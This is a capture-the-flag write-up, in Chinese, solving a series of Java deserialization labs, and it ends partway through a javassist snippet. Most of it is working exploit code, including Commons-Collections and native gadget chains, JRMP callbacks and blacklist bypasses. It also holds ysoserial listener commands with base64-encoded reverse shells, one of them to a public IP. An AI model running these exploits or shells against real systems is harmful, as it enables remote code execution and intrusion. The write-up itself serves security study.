JavaDeserializeLabs

0x00 前置准备

项目地址:https://github.com/waderwu/javaDeserializeLabs

个人建议题目环境可以在本地和Docker上都搭建一个,本地方便调试,Docker更符合实战。

另外,每一题都会给jar包。在IDEA里,将jar解压并添加入库,就可以开始运行服务。

0x01 Lab1

IndexController:

image-20250408174137011

没有一点防护,利用题目给的Calc类直接打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;

public class Main {
public static void main(String[] args) throws Exception {
Calc calc = new Calc();

Class<? extends Calc> calcClass = calc.getClass();
Field canPopCalcField = calcClass.getDeclaredField("canPopCalc");
canPopCalcField.setAccessible(true);
canPopCalcField.set(calc, true);
Field cmdField = calcClass.getDeclaredField("cmd");
cmdField.setAccessible(true);
cmdField.set(calc, "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);
byte[] poc = byteArrayOutputStream.toByteArray();
String string = bytesTohexString(poc);
System.out.println(string);
}
}

补充,关于Runtime.exec()方法的参数问题:

image-20241231155310396

利用国光师傅的Bash-2编码即可:(去掉多余的空格,只能存在两个必要的空格)

image-20241231154632362

0x02 Lab2

本题没有Calc类了,但是有CC链:

image-20241231155656598

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

import static com.yxxx.javasec.deserialize.Utils.objectToHexString;


public class CC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map decoratedMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "222");
decoratedMap.remove("111");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(map1);
objectOutputStream.close();
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
byteArrayOutputStream.close();
}
}

0x03 Lab3

观察题目文件和jar包:

image-20250310094028270

image-20250310094226941

自定义了MyObjectInputStream类来替代ObjectInputStream类,并且重载了resolveClass方法(resolveClass方法通常用于根据类名动态加载相应的类):

image-20250310094323405

将重写的reslolveClass方法与原生的reslolveClass方法对比,不难发现原先用forName方法加载类变成了用loadClass方法加载类。且URLClassLoader.findClass无法加载数组类

显然数组是不能使用的,又受限于commons-collections依赖版本的影响,导致几乎所有CC链都无法使用。

往Shiro的方向思考一下,shiro反序列化中没有用到数组类,但题目没给CB依赖。

本次使用这一种方法:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。也就是说,我们先起一个JRMP服务端,再通过反序列化的方式让靶机访问该服务端,该服务端传入恶意链子进而RCE。

第一步:产生访问JRMP客户端的反序列化链子,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.yxxx.javasec.deserialize;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;
import static org.apache.commons.collections.MapUtils.getObject;

public class POC_JRMP {
public static void main(String[] args) throws Exception{
Registry registry = (Registry) getObject("120.26.138.45",1099);
byte[] serializable = serializable(registry);
String string = bytesTohexString(serializable);
System.out.println(string);
}

public static Object getObject(String host,int port){
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(POC_JRMP.class.getClassLoader(), new Class[] {Registry.class}, obj);
return proxy;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
public static byte[] serializable(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}

第二步:搭建恶意的JRMP服务端:

image-20250310233853107

具体命令如下:(适用于Windows)

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "powershell -c \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('RTovYWxsX3Rvb2wvRVhFL2NtZC9uZXRjYXQtd2luMzItMS4xMi9uYzY0LmV4ZSAtZSBjbWQgMTIwLjI2LjEzOC40NSA1MjE='))|IEX\""

类似的适用于Linux的就比较常见了:(适用于Linux)

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwOTkgMD4mMQ==}|{base64, -d}|{bash, -i}"

第三步:监听将要接受shell的端口:

image-20250310234337612

第四步:发送POC_JRMP里输出的序列化数据:

image-20250310234220868

最后,成功反弹shell:

image-20250310234458280

0x04 Lab4

本题不能出网:

image-20250408183041342

既然远程的路堵死了,那就只能往本地思考。URLClassLoader不能加载数组,所以想到二次反序列化。

首先想到SignedObject类,但是该类的属性是字节数组类型,且readObject()方法会对这些属性进行赋值。

image-20250408183707986

二次反序列化还有一个类:RMIConnector。该类的调用过程就不细说了,之后会写一篇专门分析二次反序列化的文章。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import Utils.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.reflect.ReflectionFactory;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class POC {
public static void main(String[] args) throws Exception{
byte[] bytes = gadgetByChains();
String based64 = Base64.getEncoder().encodeToString(bytes);
byte[] bytes1 = gadgetRMI(based64);
String s = bytesTohexString(bytes1);
System.out.println(s);
}

public static byte[] gadgetByChains() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Class.class)});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyedMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyedMap, "manbaout1");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "manbaout2");
lazyedMap.remove("manbaout1");
setFieldValue(chainedTransformer, "iTransformers", transformers);
return serialize1(map);
}


public static byte[] gadgetRMI(String base64) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer connect = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry, "2");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap, "factory", connect);
byte[] serialize = serialize2(hashMap1);
return serialize;
}

public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static <T> byte[] serialize1(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> byte[] serialize2(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize1(byte[] codes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return (T) objectInputStream.readObject();
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}
}

0x05 Lab5

没有难度,因为给了一个福利类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class MarshalledObject implements Serializable {
private byte[] bytes = null;

public MarshalledObject() {
}

public Object readResolve() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}

估计是让我们有个二次反序列化的概念吧。POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package yxxx.javasec.deserialize;

import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class POC {
public static void main(String[] args) throws Exception{
byte[] codes = gadgetByChains();
MarshalledObject marshalledObject = new MarshalledObject();
setFieldValue(marshalledObject, "bytes", codes);
byte[] poc = serialize2(marshalledObject);
System.out.println( bytesTohexString(poc) );
}


public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static <T> byte[] serialize1(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}


public static <T> T deserialize(byte[] codes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return (T) objectInputStream.readObject();
}

public static byte[] gadgetByChains() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Class.class)});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyedMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyedMap, "manbaout1");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "manbaout2");
lazyedMap.remove("manbaout1");
setFieldValue(chainedTransformer, "iTransformers", transformers);
return serialize1(map);
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}

public static <T> byte[] serialize2(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}
}

但是如果只理解到这个程度,下一题就不太好做。

0x06 Lab6

相比于Lab5,少了一个题目给的MarshalledObject类,同时黑名单如下:

image-20250412212807987

不难发现,其实java同样存在一个MarshalledObject类,其get方法同样可以进行反序列化:

image-20250412212913032

似乎可以被setAttribute方法调用:

image-20250412213242740

便尝试寻找可以调用setter的方法。这么一找,就是好久。这里没法用Jackson、FastJson,也没有cb依赖,黑名单还限制了cc链(反射都用不了)。

怎么办呢,这里我确实没办法了。上网看看题解,发现了一个有意思的方法。

黑名单不让用java.rmi.registry,并不代表不能触发RMI。我们可以使用较为底层的JRMP协议来触发RMI,反正就是不要用到上述包的类。

给出一个POC,可以在反序列化的时候直接触发JRMP服务:

1
2
3
4
5
6
public static UnicastRef payload() throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 1089);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}

当调用到UnicastRef的readObject方法,最后会触发DGCClient.EndpointEntry的lookup方法:

image-20250413215811038

最终调用到DGCImpl_Stub的dirty方法:image-20250413215953607

该方法是可以触发jrmp攻击的。对应的,服务端的dispatch方法也可以触发攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;


public class Main1 {
public static void main(String[] args) throws Exception{
UnicastRef unicastRef = payload();
byte[] serialize = serialize(unicastRef);
// System.out.println(bytesTohexString(serialize));
deserialize(serialize);

}

public static UnicastRef payload() throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
// out.writeUTF("SJTU");
// out.writeInt(1896);
out.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] ser) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
return (T) in.readObject();
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}
}

0x07 Lab7

黑名单添加了UnicastRef和RemoteObjectInvocationHandler:

image-20250414101746065

那我得先知道UnicastRef和RemoteObjectInvocationHandler的关系。参考这两篇文章:

  1. https://xz.aliyun.com/news/7527
  2. weblogic反序列化漏洞 cve-2018-3245_xiaohuihui1的技术博客_51CTO博客

有人可能会疑惑,UnicastRef不是被黑名单限制了吗?

事实上,如果UnciastRef是在题目给的MyObjectInputStream中先加载desc,再对desc进行黑名单判断,那么确实是没有办法的。

但是UnicastRef的设计思路并非如此。UncaistRef写了个readExternal方法,找一下调用点,发现java.rmi.server.RemoteObject的readObject方法:

image-20250414102237225

简单来说,只要不让UnicastRef在题目重构的反序列化流程上走,就会避开黑名单。在继承了java.rmi.server.RemoteObject的一个类被反序列化时,走的是题目给的逻辑,并调用到java.rmi.server.RemoteObject的readObject方法(上图)。此时java.rmi.server.RemoteObject的readObject方法会把UnicastRef给反序列化,而不是等到原生反序列化流程在对属性进行操作的时候再对UncastRef进行反序列化。

这么一来,就相当于绕过了黑名单检测。所以有时候,黑名单禁止的类不是不让用,或许是有绕过方法的。这些类都可以试试:

image-20250414103406163

一个参考POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.DGCImpl_Skel;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.rmi.RMIConnectionImpl;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.management.remote.rmi.RMIServerImpl_Stub;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class Main {
public static void main(String[] args) throws Throwable {
UnicastRef payload = payload();
RMIConnectionImpl_Stub rmiConnectionImplStub = new RMIConnectionImpl_Stub(payload);
byte[] serialize = serialize(rmiConnectionImplStub);
System.out.println(bytesTohexString(serialize));
// deserialize(serialize);
}

public static UnicastRef payload() throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] ser) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
return (T) in.readObject();
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}
}

0x08 Lab8

出题者弄错了jar包

0x09 Lab9

CC依赖没了,给了个MyInvocationHandler。打反射吗,有点意思。说到反射,我首先想到Hessian里的sun.reflect.misc.MethodUtil,但是这个类没实现Serializable接口。

可以如Lab7使用UincastRef,JRMP使用这条链子:

image-20250414132543652

POC直接照搬Lab7就可以了。

但是仅仅这样我并不满意,因为题目的考点显然不是这个,肯定要结合MyInvocationHandler类。

使用MyInvocationHandler类,且没有可以利用的依赖,那么就是在考原生链。

MyInvocationHandler可以调用一个类的无参方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yxxx.javasec.deserialize;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;

public MyInvocationHandler() {
}

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Method[] methods = this.type.getDeclaredMethods();
Method[] var5 = methods;
int var6 = methods.length;

for(int var7 = 0; var7 < var6; ++var7) {
Method xmethod = var5[var7];
xmethod.invoke(args[0]);
}

return null;
}
}

选择TemplatesImpl.newTransformer()方法即可。

如何触发MyInvocationHandler.invoke呢?cc链学过,如果PriorityQueue的comparator属性是一个动态代理,那么在进行compare方法时就会触发动态代理对应的invocationHandler中的invoke()方法。稍微构造一下:

image-20250414150316258

再构造一下PriorityQueue类:

image-20250414150347997

稍微分析一下。反序列化会进入如下流程:

image-20250414150441502

这里决定了size = 2,由于writeObject方法要求size与queue同步,所以queue装填两个templatesImpl。

这里比较前后两个值,触发动态代理:

image-20250414150810638

有人可能在invoke方法里的methods数组里有好多方法,那是因为你写的是TemplatesImpl.class而不是Templates.class:

image-20250414150959137

看看invoke方法的各项数据:

image-20250414151111040

args数组是比较的两个值,提取args[0]作为反射对象。

剩下的就没啥好说的了,都做到Lab9了,且允许笔者讲的粗略一点。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import sun.swing.SwingLazyValue;
import java.lang.reflect.Proxy;
import javax.activation.MimeTypeParameterList;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.rmi.server.ObjID;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.Locale;
import java.util.PriorityQueue;
import java.util.Random;

public class Main {
public static void main(String[] args) throws Throwable {
TemplatesImpl templatesImpl = getTemplatesImpl();

MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
setFieldValue(myInvocationHandler, "type", Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
myInvocationHandler);

PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl,templatesImpl});

byte[] serialize = serialize(priorityQueue);
System.out.println(bytesTohexString(serialize));
// deserialize(serialize);

}

public static TemplatesImpl getTemplatesImpl() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class"));
setFieldValue(templates, "_name", "Pax");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
return templates;
}
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static <T> byte[] serialize(T o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static <T> T deserialize(byte[] ser) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser));
return (T) in.readObject();
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}
public static Object initObject(Class clazz) throws Exception {
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个参数类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(clazz, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
return constructorForSerialization.newInstance();
}

}

0x10 javassist

创建类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//设置父类

CtConstructor constructor = ctClass.makeClassInitializer();//定义类初始化
constructor.setBody("System.out.println(\"静态代码块内\");");
constructor.insertBefore(code);//写静态代码块


CtField ctField = new CtField(CtClass.intType,"number",ctClass);//设置属性
ctField.setModifiers(Modifier.PUBLIC);//设置属性的修饰符
ctClass.addField(ctField);

CtField ctField1 = new CtField(classPool.get(String.class.getName()),"str",ctClass);
ctField1.setModifiers(Modifier.PRIVATE);
ctClass.addField(ctField1);

CtField ctField2 = CtField.make("public int qwq;",ctClass);//另一种构造属性的方法,更方便
